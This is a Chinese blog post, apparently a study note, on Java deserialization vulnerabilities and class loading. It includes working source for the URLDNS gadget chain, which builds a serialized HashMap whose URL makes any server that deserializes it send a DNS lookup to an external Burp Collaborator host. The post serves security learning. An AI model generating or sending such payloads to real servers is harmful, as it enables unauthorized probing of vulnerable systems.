【Java反序列化】URLDNS

一、反序列化入门基础

writeObject:序列化

readObject:反序列化

有的类因为自身需要,会重写序列化与反序列化方法。

反序列化产生安全的原因:

服务端反序列化数据时,会自动执行客户端传递过来的类中的readObject方法,这样就会在服务器上执行代码。

可能存在反序列化的地方:

1.入口类的readObject直接调用危险方法。(不太可能)

2.入口类参数中包含可控类,该类有危险方法,readObject()时调用。(比如下面举的URLDNS链)

3.入口类参数中包含可控类,该类有调用其它有危险方法的类,readObject时调用。

Java反射机制在反序列化漏洞中的应用:

1.定制需要的对象;

2.通过invoke调用出了同名函数以外的函数;

3.通过Class类创建对象,引入不能序列化的类。(比如Runtime)

下面是一个URLDNS链的代码,详细的解析见文章:

Java安全学习—URLDNS链 - FreeBuf网络安全行业门户

序列化代码:

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class UrlDnsClient {
    public static void main(String[] args) throws ClassNotFoundException, IOException, NoSuchFieldException, IllegalAccessException {
        HashMap<URL, String> map = new HashMap<>();
        URL url = new URL("http://cdtq2a2rtph2aed620pb8nzmido8cx.burpcollaborator.net");
        Class<?> clazz = Class.forName("java.net.URL");
        // 获取URL类的hashCode属性,该值默认为-1
        Field field = clazz.getDeclaredField("hashCode");
        field.setAccessible(true);
        // 将hashCode的值设为-1之外的值,因为URL类中的hashCode()方法在hashCode为-1之外的值时,会直接返回hashCode,如果为-1,才会执行handler.hashCode(this)方法,发起后续的DNS解析请求
        field.set(url, 123);
        map.put(url, "2333");
        // 将url对象放入map中后,需要讲属性重新设置为-1,这样在反序列的时候,才会执行handler.hashCode(this)方法
        field.set(url, -1);
        FileOutputStream fileOutputStream = new FileOutputStream("demo.bin");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(map);
        fileOutputStream.close();
        objectOutputStream.close();
    }
}

反序列化代码:

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UrlDnsServer {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        FileInputStream inputStream = new FileInputStream("demo.bin");
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        objectInputStream.readObject();
        objectInputStream.close();
        inputStream.close();
    }
}

20220421更新

类加载机制

1.类加载机制与反序列化

类加载的时候会执行代码

初始化:静态代码块

实例化:构造代码块、无参构造函数

2.动态类加载方法

Class.forname

初始化/不初始化

ClassLoader.loadClass不进行初始化

底层的原理,实现加载任意的类

ClassLoader->SecureClassLoader->URLClassLoader->AppClassLoader

loadClass->findClass(重写的方法)->defineClass(从字节码加载类)

URLClassLoader 任意类加载:file/http/jar

ClassLoader.defineClass 字节码加载任意类 私有

Unsafe.defineClass 字节码加载 public类不能直接生成

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值